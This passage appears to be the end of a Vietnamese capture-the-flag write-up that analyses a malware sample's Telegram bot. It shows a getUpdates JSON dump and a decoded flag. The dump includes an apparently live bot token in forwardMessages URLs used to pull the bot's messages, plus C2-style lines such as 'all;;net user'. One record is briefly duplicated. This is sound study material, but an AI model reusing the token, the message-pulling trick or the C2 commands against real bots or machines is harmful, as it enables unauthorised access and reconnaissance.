'length': 117, 'type': 'pre', 'language': 'json'}]}}, {'update_id': 160555876, 'message': {'message_id': 723, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733033846, 'text': 'https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/forwardMessages?from_chat_id=-4528960795&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7870990883', 'entities': [{'offset': 0, 'length': 214, 'type': 'url'}], 'link_preview_options': {'is_disabled': True}}}, {'update_id': 160555877, 'message': {'message_id': 729, 'from': {'id': 43390784, 'is_bot': False, 'first_name': 'Safa', 'last_name': 'Safari', 'username': 'SafaSafari', 'language_code': 'fa'}, 'chat': {'id': 43390784, 'first_name': 'Safa', 'last_name': 'Safari', 'username': 'SafaSafari', 'type': 'private'}, 'date': 1733034070, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555878, 'message': {'message_id': 735, 'from': {'id': 815797662, 'is_bot': False, 'first_name': 'Yj', 'username': 'yjchvs', 'language_code': 'en'}, 'chat': {'id': 815797662, 'first_name': 'Yj', 'username': 'yjchvs', 'type': 'private'}, 'date': 1733034345, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555879, 'message': {'message_id': 736, 'from': {'id': 815797662, 'is_bot': False, 'first_name': 'Yj', 'username': 'yjchvs', 'language_code': 'en'}, 'chat': {'id': 815797662, 'first_name': 'Yj', 'username': 'yjchvs', 'type': 'private'}, 'date': 1733034348, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555880, 'message': {'message_id': 737, 'from': {'id': 815797662, 'is_bot': False, 'first_name': 'Yj', 'username': 'yjchvs', 'language_code': 'en'}, 'chat': {'id': 815797662, 'first_name': 'Yj', 'username': 'yjchvs', 'type': 'private'}, 'date': 1733034351, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555881, 'message': {'message_id': 738, 'from': {'id': 815797662, 'is_bot': False, 'first_name': 'Yj', 'username': 'yjchvs', 'language_code': 'en'}, 'chat': {'id': 815797662, 'first_name': 'Yj', 'username': 'yjchvs', 'type': 'private'}, 'date': 1733034356, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555882, 'message': {'message_id': 739, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733035991, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555883, 'message': {'message_id': 740, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733035993, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555884, 'message': {'message_id': 741, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733036130, 'document': {'file_name': 'pyinstxtractor.zip', 'mime_type': 'application/zip', 'file_id': 'BQACAgUAAxkBAAIC5WdMCGIAAWb_P5p5qMj9cNbgAyWr-AACaxEAApvTYVaT9-XpwKCIzDYE', 'file_unique_id': 'AgADaxEAApvTYVY', 'file_size': 5012}}}, {'update_id': 160555885, 'message': {'message_id': 742, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733036132, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555886, 'message': {'message_id': 743, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733036141, 'document': {'file_name': 'pyinstxtractor.zip', 'mime_type': 'application/zip', 'file_id': 'BQACAgUAAxkBAAIC52dMCG0XC9AfyIskRJEUkwa9RnFsAAJsEQACm9NhVowmLw-Q6y8YNgQ', 'file_unique_id': 'AgADbBEAApvTYVY', 'file_size': 5012}}}, {'update_id': 160555887, 'message': {'message_id': 744, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733036142, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555888, 'message': {'message_id': 745, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733036187, 'document': {'file_name': 'document.zip', 'mime_type': 'application/zip', 'file_id': 'BQACAgUAAxkBAAIC6WdMCJtGoCNl1L2VHdnvIsHQlZhkAAJtEQACm9NhVgMHoK8xakCrNgQ', 'file_unique_id': 'AgADbREAApvTYVY', 'file_size': 17146808}}}, {'update_id': 160555889, 'message': {'message_id': 746, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733036188, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555890, 'message': {'message_id': 747, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733036191, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555891, 'message': {'message_id': 758, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733036830, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555892, 'message': {'message_id': 759, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733036863, 'text': 'https://api.telegram.org/bot7035...[REDACTED]...doiaoaGBMcy4/forwardMessages?from_chat_id=69...[REDACTED]...141&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=xxxxxxxxxx', 'entities': [{'offset': 0, 'length': 210, 'type': 'url'}], 'link_preview_options': {'is_disabled': True}}}, {'update_id': 160555893, 'message': {'message_id': 765, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733036968, 'text': 'https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/forwardMessages?from_chat_id=-4528960795&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7772912370', 'entities': [{'offset': 0, 'length': 214, 'type': 'url'}], 'link_preview_options': {'url': 'https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/forwardMessages?from_chat_id=-4528960795&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7772912370'}}}, {'update_id': 160555894, 'message': {'message_id': 766, 'from': {'id': 7619115867, 'is_bot': False, 'first_name': 'Justin', 'language_code': 'en'}, 'chat': {'id': 7619115867, 'first_name': 'Justin', 'type': 'private'}, 'date': 1733037194, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555895, 'message': {'message_id': 767, 'from': {'id': 7619115867, 'is_bot': False, 'first_name': 'Justin', 'language_code': 'en'}, 'chat': {'id': 7619115867, 'first_name': 'Justin', 'type': 'private'}, 'date': 1733037196, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555896, 'message': {'message_id': 780, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733038590, 'text': 'https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/forwardMessages?from_chat_id=-4528960795&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7870990883', 'entities': [{'offset': 0, 'length': 214, 'type': 'url'}], 'link_preview_options': {'is_disabled': True}}}, {'update_id': 160555897, 'message': {'message_id': 781, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733038658, 'text': 'https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/forwardMessages?from_chat_id=-4528960795&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7772912370', 'entities': [{'offset': 0, 'length': 214, 'type': 'url'}], 'link_preview_options': {'is_disabled': True}}}, {'update_id': 160555898, 'message': {'message_id': 798, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733038922, 'text': "/start 6?IDoFD,B0+DGm>FD,5.CghC,+E1b0F?1O(0f26j?VOZ^87,Fu9/'+!I/", 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555899, 'message': {'message_id': 799, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733038924, 'text': "6?IDoFD,B0+DGm>FD,5.CghC,+E1b0F?1O(0f26j?VOZ^87,Fu9/'+!I/"}}, {'update_id': 160555900, 'message': {'message_id': 800, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733038925, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555901, 'message': {'message_id': 801, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733038926, 'text': "/flag 6?IDoFD,B0+DGm>FD,5.CghC,+E1b0F?1O(0f26j?VOZ^87,Fu9/'+!I/", 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555902, 'message': {'message_id': 843, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733039200, 'text': '06bbc6ad-a624-416f-8163-30410218a149 ;; DESKTOP new connection!'}}, {'update_id': 160555903, 'message': {'message_id': 844, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733039207, 'text': 'all;;net user'}}, {'update_id': 160555904, 'message'age_id': 844, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733039207, 'text': 'all;;net user'}}, {'update_id': 160555904, 'message': {'message_id': 871, 'from': {'id': 165328408, 'is_bot': False, 'first_name': 'kx :)', 'username': 'leekaixuan', 'language_code': 'en'}, 'chat': {'id': 165328408, 'first_name': 'kx :)', 'username': 'leekaixuan', 'type': 'private'}, 'date': 1733039567, 'text': 'https://webhook.site/468f16c3-6932-4298-aa76-727f69ba21bd', 'entities': [{'offset': 0, 'length': 57, 'type': 'url'}], 'link_preview_options': {'is_disabled': True}}}, {'update_id': 160555905, 'message': {'message_id': 874, 'from': {'id': 7619115867, 'is_bot': False, 'first_name': 'Justin', 'language_code': 'en'}, 'chat': {'id': 7619115867, 'first_name': 'Justin', 'type': 'private'}, 'date': 1733039684, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555906, 'message': {'message_id': 925, 'from': {'id': 7619115867, 'is_bot': False, 'first_name': 'Justin', 'language_code': 'en'}, 'chat': {'id': 7619115867, 'first_name': 'Justin', 'type': 'private'}, 'date': 1733040091, 'text': ';; net'}}, {'update_id': 160555907, 'message': {'message_id': 926, 'from': {'id': 7619115867, 'is_bot': False, 'first_name': 'Justin', 'language_code': 'en'}, 'chat': {'id': 7619115867, 'first_name': 'Justin', 'type': 'private'}, 'date': 1733040096, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555908, 'message': {'message_id': 927, 'from': {'id': 7619115867, 'is_bot': False, 'first_name': 'Justin', 'language_code': 'en'}, 'chat': {'id': 7619115867, 'first_name': 'Justin', 'type': 'private'}, 'date': 1733040100, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}]} ``` Dữ liệu JSON từ bot bao gồm nhiều tin nhắn, một số trong đó chứa chuỗi đáng nghi liên quan đến flag: `/flag 6?IDoFD,B0+DGm>FD,5.CghC,+E1b0F?1O(0f26j?VOZ^87,Fu9/'+!I/` Decode thử: ![image](https://hackmd.io/_uploads/rJT9hogNke.png) > Flag: wwf{1_D0WN104D3D_correct_814CK_MY7H_WUK0N6} ---